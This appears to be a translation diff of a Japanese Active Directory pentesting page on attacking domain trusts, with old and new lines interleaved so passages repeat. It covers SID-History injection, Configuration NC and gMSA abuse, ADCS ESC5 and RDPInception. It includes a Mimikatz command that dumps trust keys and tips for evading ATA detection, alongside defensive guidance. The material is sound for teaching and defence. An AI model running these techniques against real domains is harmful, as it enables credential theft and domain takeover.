- **Foreign Domain Group Membership**: プリンシパルが外国ドメイン内のグループのメンバである場合もあります。ただし、この方法の有効性はトラストの性質とグループのスコープに依存します。
- **Access Control Lists (ACLs)**: プリンシパルが **ACL**、特に **DACL** 内の **ACE** として指定されている場合、特定のリソースへのアクセスが与えられます。ACL、DACL、ACE の仕組みに深く入るには、ホワイトペーパー “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” が非常に有用です。
- **Local Group Membership**: プリンシパルがサーバの "Administrators" グループなどローカルグループに追加されると、そのマシンに対して強力な制御権を得られます。
- **Foreign Domain Group Membership**: プリンシパルが外部ドメイン内のグループのメンバーである場合。ただしこの方法の有効性は信頼の性質やグループのスコープに依存します。
- **Access Control Lists (ACLs)**: プリンシパルが **ACL**、特に **DACL** 内の **ACE** として指定されている場合、特定のリソースへのアクセスが与えられます。ACL、DACL、ACE の仕組みに深く踏み込むには、ホワイトペーパー “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” が有用です。
### Find external users/groups with permissions
外部セキュリティプリンシパルを見つけるには **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** をチェックできます。これらは **外部のドメイン/フォレスト** からの user/group です。
ドメイン内の foreign security principals を見つけるには、**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** を確認できます。これらは **外部ドメイン/フォレスト** の user/group です。
これは Bloodhound か powerview を使って確認できます:
これを Bloodhound や powerview を使って確認できます:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -624,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
ドメイン信頼関係を列挙する他の方法:
ドメイン信頼を列挙する他の方法:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
@ -637,8 +639,8 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> **2つの trusted keys** が存在します。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
> 現在のドメインで使用されているキーは次のコマンドで確認できます:
> 信頼されたキーが**2つ**あります。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
> 現在のドメインで使用されているキーを確認するには、次を実行します:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -647,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### SID-History Injection
信頼を悪用して SID-History injection により、child/parent domain に対して Enterprise admin として権限を昇格します:
信頼関係を悪用して SID-History injection により child/parent ドメインで Enterprise admin として権限昇格します:
{{#ref}}
@ -656,45 +658,45 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
Configuration Naming Context (NC) がどのように悪用できるかを理解することは重要です。Configuration NC は Active Directory (AD) 環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、書き込み可能な DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、**DC 上の SYSTEM privileges**(できれば child DCが必要です。
Configuration Naming Context (NC) がどのように悪用され得るかを理解することは重要です。Configuration NC は Active Directory (AD) 環境のフォレスト全体の設定データを格納する中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) に複製され、書き込み可能な DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、**DC 上で SYSTEM 特権** を持っている必要があり、できれば child DC が望ましいです。
**Link GPO to root DC site**
Configuration NC の Sites コンテナには、AD フォレスト内のすべてのドメイン参加コンピュータのサイト情報が含まれます。任意の DC 上で SYSTEM privileges を持って操作することで、攻撃者は GPO を root DC site にリンクできます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を危殆化させる可能性があります。
Configuration NC の Sites コンテナには、AD フォレスト内のドメイン参加コンピュータのサイト情報が含まれます。任意の DC 上で SYSTEM 特権を持っていれば、GPO を root DC site にリンクすることができます。これにより、これらのサイトに適用されるポリシーを操作して root domain を危殆化させる可能性があります。
しくは [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) の研究を参照してください。
細は、[Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) の研究を参照してください。
**Compromise any gMSA in the forest**
攻撃ベクターの一つは、ドメイン内の特権的な gMSA を標的にすることです。gMSA のパスワードを計算するために必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM privileges を持てば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算することが可能です。
攻撃ベクターとして、ドメイン内の特権 gMSA を標的にする方法があります。gMSA のパスワード計算に必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM 特権を持っていれば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算することが可能です。
Detailed analysis and step-by-step guidance can be found in:
詳細な解析と手順は以下を参照してください:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
Complementary delegated MSA attack (BadSuccessor abusing migration attributes):
補完的な delegated MSA 攻撃BadSuccessor migration attributes の悪用):
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
追加の外部研究: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
追加の外部研究: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
**Schema change attack**
この手法は、特権を持つ新しい AD オブジェクトの作成を待つ忍耐を要求します。SYSTEM privileges があれば、攻撃者は AD Schema を変更して任意のユーザに全クラスに対する完全な制御を付与できます。これにより、新たに作成された AD オブジェクトへの不正アクセスや制御が発生する可能性があります。
この手法は、新しく作成される特権 AD オブジェクトを待つ必要があるため忍耐が必要です。SYSTEM 特権を持っていれば、AD スキーマを変更して任意のユーザにすべてのクラスに対する完全な制御権を付与することができます。これにより、新しく作成された AD オブジェクトに対して不正なアクセスや制御が可能になります。
詳しくは [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) を参照してください。
**From DA to EA with ADCS ESC5**
ADCS ESC5 脆弱性は、Public Key Infrastructure (PKI) オブジェクトを制御することで、フォレスト内の任意のユーザとして認証を可能にする証明書テンプレートを作成することを狙います。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害すれば ESC5 攻撃を実行できます。
ADCS ESC5 脆弱性は PKI オブジェクトを制御して、フォレスト内の任意ユーザとして認証可能な証明書テンプレートを作成することを狙ったものです。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を奪取すれば ESC5 攻撃を実行できます。
この詳細は [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) を参照してください。ADCS が存在しないシナリオでは、攻撃者は必要なコンポーネントをセットアップできる場合があり、これは [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) で議論されています
詳細は [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) を参照してください。ADCS が存在しない場合でも、攻撃者は必要なコンポーネントをセットアップできるため、[Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) も参照してください
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
@ -707,13 +709,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
このシナリオでは、**あなたのドメインは外部ドメインによって信頼されており**、外部ドメイン上であなたに対して**不確定な権限**が与えられています。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセスを持っているか**を特定し、それを悪用できるか試す必要があります:
このシナリオでは、**あなたのドメインは外部ドメインによって信頼されており**、それに対して**不明な権限**が付与されています。あなたは、**自ドメインのどのプリンシパルが外部ドメインに対してどのようなアクセスを持っているか**を特定し、それを悪用しようと試みる必要があります:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### 外部フォレストドメイン - 一方向(アウトバウンド)
### 外部フォレストドメイン - 一方向 (アウトバウンド)
```bash
Get-DomainTrust -Domain current.local
@ -725,39 +727,42 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
このシナリオでは **your domain****different domains** からのプリンシパルに対していくつかの **privileges****trusting** しています。
このシナリオでは **あなたのドメイン****別のドメイン** からのプリンシパルに対していくつかの **権限****信頼** しています。
しかし、信頼するドメインによって **domain is trusted** が行われると、trusted domain は **予測可能な名前のユーザ** を作成し、その **パスワード** として **trusted password** を使用します。つまり、**trusting domain のユーザにアクセスして trusted domain に侵入**し、列挙やさらなる権限昇格を試みることが可能になる、ということです:
しかし、ある **domain is trusted** と、trusting domain によって trusted domain は **creates a user** を行い、**predictable name** のユーザーを作成し、その **password** として **trusted password** を使用します。つまり、**access a user from the trusting domain to get inside the trusted one** して列挙し、さらに権限昇格を試みることが可能になります:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
trusted domain を侵害する別の方法は、domain trust の **opposite direction** に作成された [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) を見つけることです(これはあまり一般的ではありません)。
他の方法としては、ドメイントラストの**逆方向**に作成された[**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)(あまり一般的ではありません)を見つけることで trusted domain を侵害する方法があります。
また別の方法として、trusted domain の **ユーザがアクセスできる** マシン上に待機して、そのユーザが **RDP** でログインするのを待つ方法があります。その場合、攻撃者は RDP セッションのプロセスにコードを注入し、そこから **被害者の元のドメインにアクセス** することができます。\
さらに、もし **被害者が自分のハードドライブをマウントしていた** 場合、攻撃者は **RDP セッション** のプロセスからハードドライブの **スタートアップフォルダ****backdoors** を置くことができます。この手法は **RDPInception** と呼ばれます。
trusted domain を侵害するもう一つの方法は、**user from the trusted domain can access** して **RDP** でログインできるマシンに待ち構えることです。攻撃者は RDP セッションプロセスにコードを注入し、そこから **access the origin domain of the victim** することができます。\
さらに、もし **victim mounted his hard drive** している場合、RDP セッションプロセスから攻撃者はハードドライブの **startup folder of the hard drive****backdoors** を置くことができます。この手法は **RDPInception** と呼ばれます。
{{#ref}}
rdp-sessions-abuse.md
{{#endref}}
### ドメイントラストの悪用に対する緩和策
### ドメイン信頼の悪用に対する緩和策
### **SID Filtering:**
- SID history 属性を横断するフォレスト間トラストを悪用した攻撃のリスクは、SID Filtering によって緩和されます。SID Filtering はすべての inter-forest trusts でデフォルトで有効になっています。これは、Microsoft の見解に基づき、security boundary を domain ではなく forest と見なすため、intra-forest trusts は安全であるという前提に支えられています。
- ただし注意点があります。SID filtering はアプリケーションやユーザーアクセスに影響を与える可能性があり、場合によっては無効化されることがあります
- SID history 属性を悪用した攻撃のリスクは、SID Filtering によって緩和されており、これはすべてのフォレスト間トラストでデフォルトで有効になっています。これは、Microsoft の考え方に従い、セキュリティ境界をドメインではなくフォレストとして扱う前提に基づいています。
- ただし注意点として、SID filtering はアプリケーションやユーザのアクセスを妨げる可能性があり、そのため無効化されることがある点に留意してください
### **Selective Authentication:**
- inter-forest trusts に対して Selective Authentication を適用すると、両フォレストのユーザーが自動的に認証されることはなくなります。代わりに、trusting domain やフォレスト内のドメインやサーバーにアクセスするには明示的な権限が必要になります。
- これらの対策は、writable Configuration Naming Context (NC) の悪用や trust account に対する攻撃を防ぐものではない点に注意が必要です。
- フォレスト間トラストでは、Selective Authentication を利用することで、両フォレストのユーザが自動的に認証されないようにできます。代わりに、trusting domain/forest 内のドメインやサーバにアクセスするためには明示的な権限が必要となります。
- ただし、これらの対策は writable Configuration Naming Context (NC) の悪用や trust account に対する攻撃からは保護しない点に注意が必要です。
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
@ -768,29 +773,29 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Defensive Measures for Credential Protection**
- **Domain Admins Restrictions**: Domain Admins は可能な限り Domain Controllers のみにログインを許可し、他のホストでは使用しないことが推奨されます。
- **Domain Admins Restrictions**: Domain Admins は Domain Controllers にのみログインを許可し、他のホストでの使用を避けることが推奨されます。
- **Service Account Privileges**: サービスは Domain Admin (DA) 権限で実行すべきではありません。
- **Temporal Privilege Limitation**: DA 権限を要するタスクについては、その期間を限定するべきです。例: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Temporal Privilege Limitation**: DA 権限が必要なタスクについてはその期間を制限するべきです。例: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementing Deception Techniques**
- deception の実装は、パスワードが期限切れにならない、Trusted for Delegation にマークされているなどのトラップ(デコイユーザーやデコイコンピュータ)を設置することを含みます。具体的には特定の権利を持つユーザを作成したり、高権限グループに追加したりする方法があります。
- 実用例としては次のようなツールの使用が挙げられます: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- deception の展開に関する詳細は [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
- ディセプションの実装は罠パスワード期限切れなし、Trusted for Delegation に設定されたダミーユーザやコンピュータ)を仕掛けることを含みます。具体的には特定の権利を持つユーザを作成したり、高権限グループに追加したります。
- 実例として次のようなツールを使用します: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- ディセプション技術の展開については [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
### **Identifying Deception**
- **For User Objects**: 疑わしい指標には、異常な ObjectSID、まれなログオン、作成日時、低い bad password カウントなどがあります。
- **General Indicators**: デコイオブジェクトと実際のオブジェクトの属性を比較することで矛盾を暴くことができます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) のようなツールがこの識別に役立ちます。
- **For User Objects**: 疑わしい指標には、異常な ObjectSID、低頻度のログオン、作成日、不自然に少ない bad password count などがあります。
- **General Indicators**: 潜在的なダミーオブジェクトの属性を実在オブジェクトと比較することで不整合を明らかにできます。ツールとして [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) などが役立ちます。
### **Bypassing Detection Systems**
- **Microsoft ATA Detection Bypass**:
- **User Enumeration**: ATA 検出を避けるために Domain Controllers 上でのセッション列挙を避ける。
- **Ticket Impersonation**: aes キーを使ったチケット作成は、NTLM にダウングレードしないことで検出を回避するのに役立ちます。
- **DCSync Attacks**: Domain Controller 以外のマシンから実行することで ATA 検出を回避するが推奨されます。Domain Controller から直接実行するとアラートが発生します。
- **User Enumeration**: ATA 検出を回避するために Domain Controllers 上でのセッション列挙を避ける。
- **Ticket Impersonation**: チケット作成に **aes** キーを利用することで NTLM にダウングレードせずに検出を回避するのに役立ちます。
- **DCSync Attacks**: Domain Controller 以外から実行することで ATA 検出を回避することが推奨されます。Domain Controller から直接実行するとアラートが発生します。
## References
## 参考
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)